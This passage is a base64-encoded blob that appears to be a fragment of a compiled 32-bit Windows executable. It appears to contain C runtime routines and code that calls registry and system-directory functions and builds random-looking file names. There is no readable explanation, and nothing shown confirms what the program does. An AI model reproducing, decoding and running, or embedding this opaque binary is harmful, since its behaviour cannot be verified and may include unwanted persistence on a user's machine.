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 